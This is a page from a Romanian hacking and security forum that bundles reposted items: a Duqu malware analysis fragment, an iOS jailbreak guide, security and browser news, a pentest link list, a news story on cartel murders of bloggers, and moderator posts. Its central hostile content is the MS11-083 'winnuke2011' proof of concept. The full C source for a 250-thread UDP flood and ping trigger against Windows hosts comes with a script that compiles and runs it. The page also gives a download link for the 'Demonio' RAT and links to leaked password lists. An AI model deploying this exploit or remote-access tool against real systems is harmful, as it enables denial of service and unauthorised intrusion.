share the source .DOC file with other parties. Also, we are not at present disclosing the address of the control server for this variant of Duqu; however, we think that it is not functioning now and all critical information on it has already been deleted by the attackers. This is also the case for one more control server we have discovered. Information about the control servers will be published later. We can say that there are at least 12 unique sets of Duqu files known to us at present. The variant discussed in this post has been named variant F. Detailed information on the other variants will be published later. Sursa: http://www.securelist.com/en/blog/208193243/The_Duqu_Saga_Continues_Enter_Mr_B_Jason_and_TVs_Dexter

The Grace Programming Language Project SPLASH 2011: Andrew Black and James Noble - The Grace Programming Language Project Video: http://channel9.msdn.com/Blogs/Charles/SPLASH-2011-Andrew-Black-and-James-Noble-The-Grace-Programming-Language-Project The Grace Programming Language project is a research effort that aims to make learning how to program easier by baking "educational abstractions" into the language itself - it's an object oriented programming language designed for teaching undergraduate students. This means the language is designed from the ground up as a learning tool for novice adult programmers. The Grace PL project is led by Kim Bruce, Andrew Black, and James Noble. (Unfortunately, Kim was unable to take part in this conversation. Next time, Kim!) Here, we learn about the need for a programming language that targets novices and what a novice programming language looks like. What does a programming language for novices mean, exactly? How can it be simple enough (conceptually easy to use, to read, to understand) while remaining useful as a programming tool? Can't you learn how to program effectively using objects in an industrial strength general purpose programming language like C# or Java? What does Grace afford that the more feature-rich languages don't? Tune in. This is a fascinating research topic and one that should yield some very interesting practical results. Great work! Website: http://gracelang.org/ Specificatii: http://gracelang.org/documents/grace-spec0132.pdf

How to Jailbreak iPhone iOS 5 Posted on November 11, 2011 by Carole Wozny Now that iOS 5.0.1 is available for download, we knew it was only a matter of days before a Jailbreak would be available for the new iOS. And we didn’t have long to wait. A tethered jailbreak version of RedSn0w 0.9.9b8. Is now available for download. For those of you who wish to wait for an untethered jailbreak, keep in mind that the jailbreak may not be available in the near future. Keep in mind that once you jailbreak your iPhone from iOS5, you may have no way of downgrading your iOS back to an earlier version so make sure to backup everything on your iPhone first before you jailbreak it. How to Jailbreak iOS 5.0.1 Note: You will need iOS 5.0 firmware (download here) to jailbreak with RedSn0w 0.9.9b8. Step 1: Install 5.0.1 Final. Step 2: Open RedSn0w 0.9.9b8 (download here) and select Extras > Specify Firmware > then point it to the iOS 5.0 firmware IPSW. Step 3: Go back to the main screen of RedSn0w and place your device into DFU mode. Click Jailbreak, and then select Install Cydia. Step 4: Your device should then jailbreak, but note that your Cydia icon will be white because it is a tethered jailbreak. To boot tethered you will need to place your device into DFU mode again. Step 5: From the main RedSn0w page, select Extras > Specify Firmware > and point it to the iOS 5.0 IPSW. Step 6: Choose "Just Boot" from RedSn0w’s Extras menu, and it will perform a tethered boot. iOS 5.0.1 Final should now be fully jailbroken. If you’re in need of a more in-depth RedSn0w guide, venture over to the RedSn0w page. Here is an excellent video tutorial from the idownloadblog.com site: Video: http://www.youtube.com/watch?v=L1d1sYJcQK8 Sursa: http://koresecure.com/2011/11/11/how-to-jailbreak-iphone-ios-5/

Steganography or encryption in bankers? Dmitry Bestuzhev Kaspersky Lab Expert Posted November 10, 10:34 GMT While looking over some potentially malicious links from Brazil, I came across an interesting group of files. They were of varying sizes but had similar structures. First I thought this was some type of steganography. The files has a jpeg extension, but were in fact bmp files in structure. It was evident that they contained encrypted malware and some additional data. After further analysis, I discovered that this was a block cipher. As far as I know, this is the first time it has been used by malware writers anywhere in Latin America. This is what the malicious program looked like after decryption: By using this technique, the virus creators kill several birds with one stone. Firstly, it may cause automatic malware analysis systems to function incorrectly: the file would be downloaded and analyzed by the antivirus program, and given the all-clear; with time the link will be exempted from checks altogether. Secondly, the administrators of the sites where such encrypted malicious files are hosted won’t be able to identify them as malicious and will leave them as they are. Thirdly, some malware researchers may not have the time or necessary expertise to deal with them. All of this plays into the hands of the cybercriminals. We have observed that the virus writers behind this specific attack publish new mirrors with the files and new malware every 2 days or so. So far, the encryption algorithm has been the same, but I’m sure it will be changed after this post is published. This is the decryption script for the current status: Sursa: http://www.securelist.com/en/blog/208193235/Steganography_or_encryption_in_bankers Da, gandita treaba...

Demonio RAT Site: Demonio - Browse Files at SourceForge.net Download: http://sourceforge.net/projects/demonio/ http://sourceforge.net/projects/demonio/files/

MS11-083 PoC winnuke2011.sh * ======================== * This attempts to trigger the ICMP refCount overflow * in TCP/IP stack of Win7/Vista/Win2k8 hosts. This * requires sending 2^32 UDP packets to a host on a closed * port, or 4,294,967,296 packets. A dereference function * must be called that is not triggered via UDP but ICMP * echo packets. This exploit creates 250 threads and * floods a host with UDP packets and then attempts to * trigger the de-ref using ping. I calculated that it * would take approximately 52 days for the host to * enter a condition where this vulnerability is * triggerable. * ======================== #!/bin/sh cat >> winnuke2011.c << EOF /* * MS11-083 DoS/PoC exploit * ======================== * This attempts to trigger the ICMP refCount overflow * in TCP/IP stack of Win7/Vista/Win2k8 hosts. This * requires sending 2^32 UDP packets to a host on a closed * port, or 4,294,967,296 packets. A dereference function * must be called that is not triggered via UDP but ICMP * echo packets. This exploit creates 250 threads and * floods a host with UDP packets and then attempts to * trigger the de-ref using ping. I calculated that it * would take approximately 52 days for the host to * enter a condition where this vulnerability is * triggerable. * * -- prdelka */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <unistd.h> #include <string.h> #include <sys/time.h> int port; int active = 0; pthread_mutex_t mutexactive; void *sendpackets(void *ptr); int main(int argc, char *argv[]) { pthread_t thread; int iret,lthreads; pid_t pid; printf("[+] MS11-083 DoS/PoC exploit\n"); if(argc<3){ printf("[!] Usage : %s <server> <port>\n", argv[0]); exit(1); } char *const args[] = {"ping",argv[1],NULL}; char *const envp[] = {"",NULL}; port = atoi(argv[2]); for(lthreads=0;lthreads<250;lthreads++){//UDP flood iret = pthread_create(&thread,NULL,sendpackets,argv[1]); printf("[-] Thread number %d started\n",lthreads); sleep(1); } printf("[-] One does not simply barrel roll into Mordor\n"); pid = fork(); if(pid==0){// trigger deref. execve("./ping.sh",args,envp); }; while(active){ } printf("[-] You are finished. Patience is a virtue.\n"); exit(0); } void *sendpackets(void *ptr) { int sd, rc, n, echoLen, flags, error, timeOut; unsigned long i; struct sockaddr_in remoteServAddr; struct hostent *h; char str[41]; pthread_mutex_lock(&mutexactive); active++; pthread_mutex_unlock(&mutexactive); srand(time(NULL)); for (i = 0;i < 40;++i){ str[i] = (char)((rand() % 78) + 30); } str[40] = '\0'; // yes this was off-by-one. printf("[-] Sending payload '%s'\n",str); h = gethostbyname(ptr); if(h==NULL) { printf("unknown host '%s' \n",(char*)ptr); exit(1); } remoteServAddr.sin_family = h->h_addrtype; memcpy((char *) &remoteServAddr.sin_addr.s_addr,h->h_addr_list[0], h->h_length); remoteServAddr.sin_port = htons(port); sd = socket(AF_INET,SOCK_DGRAM,0); if(sd<0){ printf("[!] Cannot open socket\n"); pthread_exit((void*)0); } flags = 0; for(i=0;i<4294967295;i++){ rc = sendto(sd,str,strlen(str)+1,flags,(struct sockaddr *)&remoteServAddr,sizeof(remoteServAddr)); if(rc<0){ printf("[!] Cannot send data\n"); close(sd); pthread_exit((void*)0); } } pthread_mutex_lock(&mutexactive); active--; pthread_mutex_unlock(&mutexactive); pthread_exit(NULL); } EOF cat >> ping.sh << EOF #!/bin/sh while \`true\`;do /sbin/ping -c 1 \$1;done EOF chmod +x ping.sh gcc winnuke2011.c -o winnuke2011 ./winnuke2011 Sursa: [C] MS11-083 PoC winnuke2011.sh - Pastebin.com

Am decis, din moment ce majoritatea membrilor probabil au un cont de Facebook, sa cream o pagina de Facebook unde se vor posta atat informatii generale despre RST, informatii de ordin administrativ, cat si informatii de actualitate din domeniul IT, in special informatii legate de hacking, securitate IT si programare, practic legaturi catre topicuri de aici sau legaturi externe. Pagina: https://www.facebook.com/pages/Romanian-Security-Team/163592527017735 Sau mai scurt: http://www.facebook.com/rstforum

Blogs, Feeds, Guides & Links I was cleaning out my bookmarks, de-cluttering twitter favourites and closing a few tabs. Re-saw a few 'hidden gems' as well as repeating finding links for people, so I thought I would try and 'dump' them all in one place. These are roughly sorted, if you're wanting something better - I highly recommend having a look at the pentest-bookmarks. Programming/Coding [bash] Advanced Bash-Scripting Guide - http://tldp.org/LDP/abs/html/ [bash] Bash shell scripting tutorial - http://steve-parker.org/sh/sh.shtml [bash] Bourne Shell Reference - http://linuxreviews.org/beginner/bash_GNU_Bourne-Again_SHell_Reference/ [CheatSheet] Scripting Languages: PHP, Perl, Python, Ruby - http://hyperpolyglot.org/scripting Offensive Security's Pentesting With BackTrack (PWB) Course [Pre-course] Corelan Team - http://www.corelan.be [Pre-course] The Penetration Testing Execution Standard - http://www.pentest-standard.org/index.php/Main_Page [Hash] NTLM Decrypter - http://www.md5decrypter.co.uk/ntlm-decrypt.aspx [Hash] reverse hash search and calculator - http://goog.li http://security.crudtastic.com/?p=213 Tunnelling / Pivoting [Linux] SSH gymnastics with proxychains - http://pauldotcom.com/2010/03/ssh-gymnastics-with-proxychain.html [Windows] Nessus Through SOCKS Through Meterpreter - http://www.digininja.org/blog/nessus_over_sock4a_over_msf.php WarGames / Online Challenges [WarGames] Title - http://securityoverride.com [WarGames] Title - http://intruded.net [Challenge] The Ksplice Pointer Challenge - http://blogs.oracle.com/ksplice/ [WarGames] Title - http://spotthevuln.com [WarGames] Title - http://cvo-lab.blogspot.com/2011/05/iawacs-2011-forensics-challenge.html [WarGames] Title - http://ftp.hackerdom.ru/ctf-images/ Exploit Development (Programs) [Download] Title - http://www.oldapps.com/ [Download] Title - http://www.oldversion.com/ [Download] Title - http://www.exploit-db.com/webapps/ Misc [RSS] Open Penetration Testing Bookmarks Collection - https://code.google.com/p/pentest-bookmarks/downloads/list [ExploitDev] Data mining Backtrack 4 for buffer overflow return addresses - http://insidetrust.blogspot.com/2010/12/data-mining-backtrack-4-for-buffer.html [DIY] Repair a Broken Ethernet Plug - http://www.instructables.com/id/Repair-a-Broken-Ethernet-Plug/step5/Make-its-Head-Thin/ [Desktop] Ubuntu Security - http://ubuntuforums.org/showthread.php?t=510812 [TechHumor] Title - https://www.xkcd.com [TechHumor] Title - http://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf Exploit Development [Guides] Corelan Team - http://www.corelan.be [Guide] From 0x90 to 0x4c454554, a journey into exploitation. - http://myne-us.blogspot.com/2010/08/from-0x90-to-0x4c454554-journey-into.html [Guide] An Introduction to Fuzzing: Using fuzzers (SPIKE) to find vulnerabilities - http://resources.infosecinstitute.com/intro-to-fuzzing/ TiGa's Video Tutorial Series on IDA Pro - http://www.woodmann.com/TiGa/idaseries.html [Guide] Advanced Windows Buffer Overflows - http://labs.snort.org/awbo/ [Guide] Stack Based Windows Buffer Overflow Tutorial - http://grey-corner.blogspot.com/2010/01/beginning-stack-based-buffer-overflow.htmlt [Guide] SEH Stack Based Windows Buffer Overflow Tutorial - http://grey-corner.blogspot.com/2010/01/seh-stack-based-windows-buffer-overflow.html [Guide] Windows Buffer Overflow Tutorial: Dealing with Character Translation - http://grey-corner.blogspot.com/2010/01/windows-buffer-overflow-tutorial.html [Guide] Heap Spray Exploit Tutorial: Internet Explorer Use After Free Aurora Vulnerability< - http://grey-corner.blogspot.com/2010/01/heap-spray-exploit-tutorial-internet.html [Guide] Windows Buffer Overflow Tutorial: An Egghunter and a Conditional Jump - http://grey-corner.blogspot.com/2010/02/windows-buffer-overflow-tutorial.html [Linux] Linux exploit development part 1 – Stack overflow. - http://sickness.tor.hu/?p=363 [Linux] Linux Exploit Writing Tutorial Pt 2 – Stack Overflow ASLR bypass Using ret2reg - http://sickness.tor.hu/?p=365 [Linux] Linux exploit development part 3 – ret2libc - http://sickness.tor.hu/?p=368 [Linux] Linux exploit development part 4 – ASCII armor bypass + return-to-plt - http://sickness.tor.hu/?p=378 [TechHumor] Title - [TechHumor] Title - http://amolnaik4.blogspot.com/2011/06/exploit-development-with-monapy.html Exploit Development (Case Studies/Walkthroughs) [Web] Finding 0days in Web Applications - http://www.exploit-db.com/finding-0days-in-web-applications/ [Windows] Offensive Security Exploit Weekend - http://www.corelan.be/index.php/2010/11/13/offensive-security-exploit-weekend/ [Windows] From vulnerability to exploit under 5 min - http://0entropy.blogspot.com/2011/02/from-vulnerability-to-exploit-under-5.html Exploit Development (Patch Analysis) [Windows] A deeper look at ms11-058 - http://www.skullsecurity.org/blog/2011/a-deeper-look-at-ms11-058 [Windows] Patch Analysis for MS11-058 - https://community.qualys.com/blogs/securitylabs/2011/08/23/patch-analysis-for-ms11-058 [Windows] CVE-2011-1281: A story of a Windows CSRSS Privilege Escalation vulnerability - http://j00ru.vexillium.org/?p=893 [Mobile] Analyzing and dissecting Android applications for security defects and vulnerabilities - https://www.net-security.org/article.php?id=1613 Exploit Development (Metasploit Wishlist) [ExplotDev] Metasploit Exploits Wishlist ! - http://esploit.blogspot.com/2011/03/metasploit-exploits-wishlist.html [Guide] Porting Exploits To Metasploit Part 1 - http://www.securitytube.net/video/2118 Passwords & Rainbow Tables (WPA) [RSS] Title - http://ob-security.info/?p=475 [RSS] Title - http://nakedsecurity.sophos.com/2011/06/14/the-top-10-passcodes-you-should-never-use-on-your-iphone/ [RSS] Title - http://www.troyhunt.com/2011/06/brief-sony-password-analysis.html [WPA] Offensive Security: WPA Rainbow Tables - http://www.offensive-security.com/wpa-tables/ [Tool] Ultra High Security Password Generator - https://www.grc.com/passwords.htm [Guide] Creating effective dictionaries for password attacks - http://insidetrust.blogspot.com/2010/07/creating-effective-dictionaries-for.html [Leaked] Diccionarios con Passwords de Sitios Expuestos - http://www.dragonjar.org/diccionarios-con-passwords-de-sitios-expuestos.xhtml [Download] Index of / - http://svn.isdpodcast.com/wordlists/ [Guide] Using Wikipedia as brute forcing dictionary - http://lab.lonerunners.net/blog/using-wikipedia-as-brute-forcing-dictionary [Tool] CeWL - Custom Word List generator - http://www.digininja.org/projects/cewl.php [Download] Title - http://www.aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists [Leaked] Passwords - http://www.skullsecurity.org/wiki/index.php/Passwords Cheat-Sheets [OS] A Sysadmin's Unixersal Translator - http://bhami.com/rosetta.html [WiFi] WirelessDefence.org's Wireless Penetration Testing Framework - http://www.wirelessdefence.org/Contents/Wireless%20Pen%20Test%20Framework.html Anti-Virus [Metasploit] Facts and myths about antivirus evasion with Metasploit - http://schierlm.users.sourceforge.net/avevasion.html [Terms] Methods of bypassing Anti-Virus (AV) Detection - NetCat - http://compsec.org/security/index.php/anti-virus/283-anti-virus-central-methods-of-bypassing-anti-virus-av-detection.html Privilege Escalation [Linux] Hacking Linux Part I: Privilege Escalation - http://www.dankalia.com/tutor/01005/0100501004.htm [Windows] Windows 7 UAC whitelist - http://www.pretentiousname.com/misc/win7_uac_whitelist2.html [Windows] Windows Privilege Escalation Part 1: Local Administrator Privileges - http://www.netspi.com/blog/2009/10/05/windows-privilege-escalation-part-1-local-administrator-privileges/ Metasploit [Guide] fxsst.dll persistence: the evil fax machine - http://www.room362.com/blog/2011/6/27/fxsstdll-persistence-the-evil-fax-machine.html [Guide] Bypassing DEP/ASLR in browser exploits with McAfee and Symantec - http://www.scriptjunkie.us/2011/08/custom-payloads-in-metasploit-4/ [Guides] Metasploit Unleashed - http://www.offensive-security.com/metasploit-unleashed/Metasploit_Unleashed_Information_Security_Training [Guides] Metasploit Megaprimer (Exploitation Basics And Need For Metasploit) Part 1 - http://www.securitytube.net/video/1175 Default Generators [WEP] mac2wepkey - Huawei default WEP generator - http://websec.ca/blog/view/mac2wepkey_huawei [WEP] Generator: Attacking SKY default router password - http://sec.jetlib.com/BackTrack_Linux_Forums/2011/01/12/Generator:_Attacking_SKY_default_router_password Statistics [Defacements] Zone-H - http://www.zone-h.org [ExploitKits] CVE Exploit Kit list - http://exploitkit.ex.ohost.de/CVE%20Exploit%20Kit%20List.htm Cross Site Scripting (XSS) [Guide] vbSEO – From XSS to Reverse PHP Shell - http://www.exploit-db.com/vbseo-from-xss-to-reverse-php-shell/ [RSS] Title - http://www.thespanner.co.uk/2009/03/25/xss-rays/ Podcasts [Weekly] PaulDotCom - http://pauldotcom.com/podcast/psw.xml [Monthly] Social-Engineer - http://socialengineer.podbean.com/feed/ Blogs & RSS [RSS] SecManiac - http://www.secmaniac.com [Guides] Carnal0wnage & Attack Research - http://carnal0wnage.attackresearch.com [RSS] Contagio - http://contagiodump.blogspot.com [News] THN : The Hacker News - http://thehackernews.com [News] Packet Storm: Full Disclosure Information Security - http://packetstormsecurity.org [Guides] pentestmonkey | Taking the monkey work out of pentesting - http://pentestmonkey.net [RSS] Darknet - The Darkside | Ethical Hacking, Penetration Testing & Computer Security - http://www.darknet.org.uk [RSS] Irongeek - http://www.irongeek.com [Metasploit] Room 363 - http://www.room362.com [Guides] Question Defense: Technology Answers For Technology Questions - http://www.question-defense.com/ [Guides] stratmofo's blog - http://securityjuggernaut.blogspot.com [Guides] TheInterW3bs - http://theinterw3bs.com [Guides] consolecowboys - http://console-cowboys.blogspot.com [Guides] A day with Tape - http://adaywithtape.blogspot.com [Guides] Cybexin's Blog - Network Security Blog - http://cybexin.blogspot.com [RSS] BackTrack Linux - Penetration Testing Distribution - http://www.backtrack-linux.org/feed/ [RSS] Offensive Security - http://www.offensive-security.com/blog/feed/ [RSS] Title - http://www.pentestit.com [RSS] Title - http://michael-coates.blogspot.com [RSS] Title - http://blog.0x0e.org [RSS] Title - http://0x80.org/blog [RSS] Title - http://archangelamael.shell.tor.hu [RSS] Title - http://archangelamael.blogspot.com [RSS] Title - http://www.coresec.org [RSS] Title - http://noobys-journey.blogspot.com [RSS] Title - http://www.get-root.com [RSS] Title - http://www.kislaybhardwaj.com [RSS] Title - https://community.rapid7.com/community/metasploit/blog [RSS] Title - http://mimetus.blogspot.com [RSS] Title - http://hashcrack.blogspot.com [RSS] Title - https://rephraseit.wordpress.com [RSS] Title - http://www.exploit-db.com [RSS] Title - http://skidspot.blogspot.com [RSS] Title - http://grey-corner.blogspot.com [RSS] Title - http://vishnuvalentino.com [RSS] Title - http://ob-security.info Sursa: http://g0tmi1k.blogspot.com/2011/11/blog-guides-links.html

New, Faster Firefox 9 Beta is Ready for Testing November 10th, 2011 A new Firefox Beta for Windows, Mac and Linux is now available for download and testing. This beta enhances JavaScript performance and adds developer tools that make Web browsing much faster. What’s New in Firefox Beta: Type Inference: Firefox Beta adds Type Inference to make JavaScript significantly faster. To learn more about how rich websites and Web apps with lots of pictures, videos and 3D graphics will load faster in Firefox, check out this blog post. Mac OS X Lion Support: Firefox Beta has a new look that matches the Mac OS X Lion application toolbar and icon styles. Firefox Beta also supports the two finger swipe navigation gesture and makes it easier to use multiple monitors. Do Not Track JavaScript Detection: Firefox Beta enables JavaScript to show developers when users choose to opt-out of behavioral tracking with the Do Not Track privacy feature. Chunked XHR Support: Firefox Beta supports chunking for XHR requests so websites can receive data that’s part of a large XHR download in progress. This helps developers make websites and Web apps faster, especially those that download large sets of data or via AJAX. If you’re a developer, please visit the Firefox for Developers page. Download: http://www.mozilla.org/en-US/firefox/channel/

Disable AutoRun to Stop 50% of Windows Malware Threats According to a biannual Security Intelligence Report from Microsoft, AutoRun—the feature in Windows that automatically executes files when you plug in a USB or connect to a network—accounts for almost half of all malware infections. That's really damn high. To be clear, these are infections that don't require any user-input from you, so it's kind of not your fault that your computer gets infected. By turning off AutoRun, you'll add an extra step to certain tasks, but it's worth it to cut down on malware 50%. What's also interesting in this report is that Windows XP SP3 systems get infected about ten times as much as Windows 7 SP1 64-bit systems, and six times as much vs. 32-bit Windows 7 systems. That alone is one reason why you might want to upgrade your parents' machines to Windows 7. The easiest way to disable AutoRun is to download a free utility like Disable AutoRun or previously mentioned Panda USB Vaccine, run it, and call it a day (these apps are made specifically to turn off AutoRun). On the other hand, if you're comfortable with editing the registry, here's a quick guide to doing it yourself. Disable autorun: http://antivirus.about.com/od/securitytips/ht/autorun.htm USB Vaccine: http://www.pandasecurity.com/homeusers/downloads/usbvaccine/ Sursa: http://lifehacker.com/5858703/disable-autorun-to-stop-50-of-windows-malware-threats

Suricata IDPE 1.1 Site openinfosecfoundation.org Suricata is a network intrusion detection and prevention engine developed by the Open Information Security Foundation and its supporting vendors. The engine is multi-threaded and has native IPv6 support. It's capable of loading existing Snort rules and signatures and supports the Barnyard and Barnyard2 tools. Changes: Performance, accuracy, and stability were improved. Many HTTP rule keywords added. Several SSL keywords have been added. Event suppression support was added. SCTP decoding support was added. IPS mode was improved. An SMTP parser was added. Protocol detection was improved. Extended HTTP output was added. AF_PACKET support was added. PF_RING support was improved. Pcap logging was added. The stream engine was improved. Download: http://packetstormsecurity.org/files/download/106889/suricata-1.1.tar.gz

Postul e prea lung, vorbesc cu kwe. Nu e problema cu postul dublu, in cazul de fata.

1. Nu esti singura persoana care a primit warn pentru asa ceva, dar esti singura care se plange 2. La categoria offtopic se posteaza lucruri care nu au locul intr-o alta categorie, iar topicul tau (chiar nu am idee care) care era o cerere, isi avea locul la categoria Cereri speciala pentru asa ceva. 3. Am mutat topicul pentru a mentine ordinea pe forum, adica fiecare topic sa fie la locul lui, pentru ca oamenii sa stie ce si unde gasesc, nu sa gaseasca discutii despre "Huidu a facut accident" la Programare sau Tutoriale engleza. 4. Daca te uitai la topicurile de la Anunturi, observai ca unul dintre ele specifica motivele pentru care se poate primi avertisment, iar postatul aiurea, intr-o categorie gresita este unul dintre ele 5. Nu imi face placere sa mut topicuri de colo-colo. Da, daca era ceva util multora, cum s-a mai intamplat nu primeai avertisment. Adica am mutat un topic despre programare de la Tutoriale la Programare si chiar am dat "+" celui care a postat pentru ca era ceva util. 6. Daca tot erai pe la offtopic, observai ca am creat vreo 3 threaduri acolo in care specificam in mod explicit ca topicurile la care se cere ajutorul si cererile au categorii speciale si nu trebuie postate acolo. 7. Am inceput sa nu mai tolerez topicurile care nu au legatura cu IT-ul aici si ar trebui sa intelegi de ce. Ar fi cam stupid sa vezi pe aici numai topicuri ca "Am parul aspru si varfurile despicate, ce pot face?" sau alte rahaturi. 8. Eu nu stiu de niciun "orice tip de cereri". E un forum de IT, sa incercam sa pastram continutul de IT, sa nu incepem toti cu probleme personale. Exista 4chan, softpedia si alte forumuri care probabil au categorii speciale pentru orice. Intelegi?

La ce functii te referi? Probabil acele functii se gasesc in "msvcrt.dll" - Microsoft Visual C Runtime, adica un DLL care contine functiile uzuale. Mi s-a parut putin ciudat, dar chiar ieri asta faceam, si am vazut ca un program compilat cu MinGW (portarea compilatorului GCC pe Windows) "leaga" executabilele tot de msvcrt.dll. Nu e nevoie sa fie definite in headere, nu sunt, functiile fac parte din diferite librarii (WinAPI de exemplu - kernel32.dll, user32.dll...) cu care programul tau e legat prin intermediul link-erului. Tu ai nevoie doar de definitia functiei si de librarie, ca sa stie link-erul de unde sa ia functia. Ca idee, functia "connect", cu care conectez un socket la o adresa IP se afla in ws2_32.dll, se include fisierul winsock2.h, dar nu e de ajuns, pentru ca trebuie stiuta si libraria in care se afla, si asta trebuie specificat printr-un parametru la compilator: -l. CodeBlocks are GUI pentru asa ceva, fisierele necesare au extensiile ".lib" sau ".a".

Si daca cineva atinge usor oglinda din greseala?

Lasati prostiile, haideti sa mergem la Hanul Drumetului :->

em, cred ca vrei sa zici: char x = 49; Adica x e codul ASCII al caracterului '1'.

Mexican drug runners torture and decapitate blogger El Mod of social network ritually murdered By John Leyden 10th November 2011 11:31 GMT The moderator of a Mexican social network has been tortured and ritually murdered by local drug lords in the latest cartel-related killing in the country. The victim, identified in an accompanying message as "El Rascatripas" (The Fiddler/Scratcher) was tortured and decapitated before his body was dumped in the early hours of Wednesday morning beside a statue of Christopher Columbus near the Texas border and outside the town of Nuevo Laredo. A blanket placed near the body featured a chilling message, scrawled in ink: "Hi I’m ‘Rascatripas’ and this happened to me because I didn’t understand I shouldn’t post things on social networks." Local reports suggest the man was a moderator on the social network Nuevo Laredo en Vivo. His death brings the death toll of bloggers and social media activists in the town – all apparent victims of the ultra-ruthless Zetas cartel – to four over the last two months. A man and a woman, who was disembowelled beforehand, were found strung from an overpass in the town in mid-September. Less than two weeks later, Nuevo Laredo en Vivo moderator Marisol Macias Castaneda, also known as The Laredo Girl, was decapitated and dumped – like the latest victim – by the Christopher Columbus statue. More details, including a grisly picture of the crime scene, can be found in local media reports here and here. A bloody turf war between the Gulf Cartel (CDG) and their former enforcers, Los Zetas, is at its bloodiest in the states of eastern Tamaulipas, around the northern city of Monterrey and in Tamaulipas (the location of Nuevo Laredo). Some estimates suggest that as many as 40,000 Mexicans had lost their lives as a result of the escalating Mexican drug wars, which have included a terrorist-style attack on a Monterrey casino in August that claimed the lives of 53 people. The April 2011 Tamaulipas massacre, involving the execution of an estimated 190-plus abducted bus passengers, and the Monterrey casino attack had both been blamed on the Zetas. Wired reports that locals are using social media tools to carry real-time reporting of firefights between drug runners and local police and cartel checkpoints on the region's dangerous roads as well as criticism of local drug lords. Drug cartels, in particular the Zetas, take a ruthless line on those reporting their activities online, treating them as snitches and murdering them as a grisly warning to others. Recent plans by a faction of Anonymous to release details of associates of Los Zetas were abandoned last weekend amid confusion over whether the alleged kidnapping of a member of the activists collective, the incident that provoked OpCartel, had ever actually taken place. Sursa: http://www.theregister.co.uk/2011/11/10/narco_blogger_murdered/

Daca deschizi cmd cu "Run as Administrator" e la fel? Zic asta pentru ca m-am chinuit si eu ore sa inteleg un cod valid care nu mergea pentru ca trebuia rulat ca Administrator... PS: Posteaza codul sursa daca poti, eu as fi interesat sa ma uit peste el.